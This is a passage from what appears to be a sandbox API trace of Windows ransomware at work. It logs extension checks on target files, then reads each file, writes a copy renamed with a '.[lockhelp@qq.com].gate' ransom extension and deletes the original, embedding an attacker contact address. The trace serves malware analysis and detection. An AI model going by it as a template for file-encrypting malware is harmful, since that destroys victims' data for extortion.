lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.012] lstrlenW (lpString=".pdf") returned 4 [0111.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.012] lstrlenW (lpString=".xls") returned 4 [0111.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.012] lstrlenW (lpString=".xlsx") returned 5 [0111.012] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.012] lstrlenW (lpString=".ppt") returned 4 [0111.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.012] lstrlenW (lpString=".zip") returned 4 [0111.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.012] lstrlenW (lpString=".rar") returned 4 [0111.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.013] lstrlenW (lpString=".bz2") returned 4 [0111.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.013] lstrlenW (lpString=".7z") returned 3 [0111.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.013] lstrlenW (lpString=".dbf") returned 4 [0111.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.013] lstrlenW (lpString=".1cd") returned 4 [0111.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.013] lstrlenW (lpString=".jpg") returned 4 [0111.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.013] lstrlenW (lpString=".doc") returned 4 [0111.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.013] lstrlenW (lpString=".docx") returned 5 [0111.013] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.013] lstrlenW (lpString=".pdf") returned 4 [0111.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.013] lstrlenW (lpString=".xls") returned 4 [0111.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.013] lstrlenW (lpString=".xlsx") returned 5 [0111.013] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.013] lstrlenW (lpString=".ppt") returned 4 [0111.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.014] lstrlenW (lpString=".zip") returned 4 [0111.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.014] lstrlenW (lpString=".rar") returned 4 [0111.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.014] lstrlenW (lpString=".bz2") returned 4 [0111.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.014] lstrlenW (lpString=".7z") returned 3 [0111.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.014] lstrlenW (lpString=".dbf") returned 4 [0111.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.014] lstrlenW (lpString=".1cd") returned 4 [0111.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.014] lstrlenW (lpString=".jpg") returned 4 [0111.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.014] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.014] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.015] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18264) returned 1 [0111.015] CloseHandle (hObject=0x32c) returned 1 [0111.015] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0111.015] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.015] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.015] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.045] GetLastError () returned 0x0 [0111.045] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4758, lpOverlapped=0x0) returned 1 [0111.080] WriteFile (in: hFile=0x330, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x4760, lpOverlapped=0x0) returned 1 [0111.082] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0111.082] WriteFile (in: hFile=0x330, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.082] SetEndOfFile (hFile=0x330) returned 1 [0111.082] CloseHandle (hObject=0x330) returned 1 [0111.083] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.083] SetEndOfFile (hFile=0x32c) returned 1 [0111.085] CloseHandle (hObject=0x32c) returned 1 [0111.086] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.086] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0111.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.086] lstrlenW (lpString=".doc") returned 4 [0111.086] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.086] lstrlenW (lpString=".docx") returned 5 [0111.086] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.086] lstrlenW (lpString=".pdf") returned 4 [0111.086] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.087] lstrlenW (lpString=".xls") returned 4 [0111.087] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.087] lstrlenW (lpString=".xlsx") returned 5 [0111.087] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.087] lstrlenW (lpString=".ppt") returned 4 [0111.087] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.087] lstrlenW (lpString=".zip") returned 4 [0111.087] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.087] lstrlenW (lpString=".rar") returned 4 [0111.087] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.087] lstrlenW (lpString=".bz2") returned 4 [0111.087] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.087] lstrlenW (lpString=".7z") returned 3 [0111.087] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.087] lstrlenW (lpString=".dbf") returned 4 [0111.087] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.087] lstrlenW (lpString=".1cd") returned 4 [0111.087] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.087] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.087] lstrlenW (lpString=".jpg") returned 4 [0111.087] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.088] lstrlenW (lpString=".doc") returned 4 [0111.088] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString=".docx") returned 5 [0111.088] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.088] lstrlenW (lpString=".pdf") returned 4 [0111.088] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString=".xls") returned 4 [0111.088] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString=".xlsx") returned 5 [0111.088] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.088] lstrlenW (lpString=".ppt") returned 4 [0111.088] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.088] lstrlenW (lpString=".zip") returned 4 [0111.088] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString=".rar") returned 4 [0111.088] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.088] lstrlenW (lpString=".bz2") returned 4 [0111.088] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.088] lstrlenW (lpString=".7z") returned 3 [0111.088] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.088] lstrlenW (lpString=".dbf") returned 4 [0111.088] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.089] lstrlenW (lpString=".1cd") returned 4 [0111.089] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0111.089] lstrlenW (lpString=".jpg") returned 4 [0111.089] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.089] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.089] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.089] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.089] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18264) returned 1 [0111.089] CloseHandle (hObject=0x32c) returned 1 [0111.089] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0111.090] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.090] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.090] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0111.271] GetLastError () returned 0x0 [0111.271] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4758, lpOverlapped=0x0) returned 1 [0111.358] WriteFile (in: hFile=0x328, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x4760, lpOverlapped=0x0) returned 1 [0111.360] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0111.360] WriteFile (in: hFile=0x328, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.360] SetEndOfFile (hFile=0x328) returned 1 [0111.360] CloseHandle (hObject=0x328) returned 1 [0111.363] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.363] SetEndOfFile (hFile=0x32c) returned 1 [0111.364] CloseHandle (hObject=0x32c) returned 1 [0111.364] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.823] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0111.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.824] lstrlenW (lpString=".doc") returned 4 [0111.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.824] lstrlenW (lpString=".docx") returned 5 [0111.824] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.824] lstrlenW (lpString=".pdf") returned 4 [0111.824] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.824] lstrlenW (lpString=".xls") returned 4 [0111.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.824] lstrlenW (lpString=".xlsx") returned 5 [0111.824] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.824] lstrlenW (lpString=".ppt") returned 4 [0111.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.824] lstrlenW (lpString=".zip") returned 4 [0111.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.824] lstrlenW (lpString=".rar") returned 4 [0111.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.824] lstrlenW (lpString=".bz2") returned 4 [0111.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.824] lstrlenW (lpString=".7z") returned 3 [0111.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.824] lstrlenW (lpString=".dbf") returned 4 [0111.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString=".1cd") returned 4 [0111.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString=".jpg") returned 4 [0111.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString=".doc") returned 4 [0111.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString=".docx") returned 5 [0111.825] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.825] lstrlenW (lpString=".pdf") returned 4 [0111.825] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString=".xls") returned 4 [0111.825] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString=".xlsx") returned 5 [0111.825] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.825] lstrlenW (lpString=".ppt") returned 4 [0111.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString=".zip") returned 4 [0111.825] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString=".rar") returned 4 [0111.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.825] lstrlenW (lpString=".bz2") returned 4 [0111.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.825] lstrlenW (lpString=".7z") returned 3 [0111.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString=".dbf") returned 4 [0111.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.825] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.825] lstrlenW (lpString=".1cd") returned 4 [0111.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.826] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0111.826] lstrlenW (lpString=".jpg") returned 4 [0111.826] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.826] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0111.826] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0111.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0111.826] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=88533) returned 1 [0111.826] CloseHandle (hObject=0x350) returned 1 [0111.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0111.826] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.826] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0111.826] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.826] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.827] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0111.827] GetLastError () returned 0x0 [0111.827] ReadFile (in: hFile=0x350, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x159d5, lpOverlapped=0x0) returned 1 [0112.460] WriteFile (in: hFile=0x354, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x159e0, lpOverlapped=0x0) returned 1 [0112.469] ReadFile (in: hFile=0x350, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0112.469] WriteFile (in: hFile=0x354, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf2, lpOverlapped=0x0) returned 1 [0112.469] SetEndOfFile (hFile=0x354) returned 1 [0112.469] CloseHandle (hObject=0x354) returned 1 [0112.472] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0112.472] SetEndOfFile (hFile=0x350) returned 1 [0112.473] CloseHandle (hObject=0x350) returned 1 [0112.473] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.474] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0112.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.483] lstrlenW (lpString=".doc") returned 4 [0112.483] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.483] lstrlenW (lpString=".docx") returned 5 [0112.483] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0112.483] lstrlenW (lpString=".pdf") returned 4 [0112.483] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.483] lstrlenW (lpString=".xls") returned 4 [0112.483] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.483] lstrlenW (lpString=".xlsx") returned 5 [0112.483] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0112.483] lstrlenW (lpString=".ppt") returned 4 [0112.483] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.483] lstrlenW (lpString=".zip") returned 4 [0112.483] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.483] lstrlenW (lpString=".rar") returned 4 [0112.483] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0112.483] lstrlenW (lpString=".bz2") returned 4 [0112.483] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0112.483] lstrlenW (lpString=".7z") returned 3 [0112.483] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0112.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.483] lstrlenW (lpString=".dbf") returned 4 [0112.484] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0112.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.484] lstrlenW (lpString=".1cd") returned 4 [0112.484] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0112.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.484] lstrlenW (lpString=".jpg") returned 4 [0112.484] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0112.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.484] lstrlenW (lpString=".doc") returned 4 [0112.484] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0112.484] lstrlenW (lpString=".docx") returned 5 [0112.484] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0112.485] lstrlenW (lpString=".pdf") returned 4 [0112.485] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0112.485] lstrlenW (lpString=".xls") returned 4 [0112.485] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0112.485] lstrlenW (lpString=".xlsx") returned 5 [0112.485] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0112.485] lstrlenW (lpString=".ppt") returned 4 [0112.485] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0112.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0112.485] lstrlenW (lpString=".zip") returned 4 [0112.485] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0112.485] lstrlenW (lpString=".rar") returned 4 [0112.486] lstrcmpiW (lpString1=".rar", 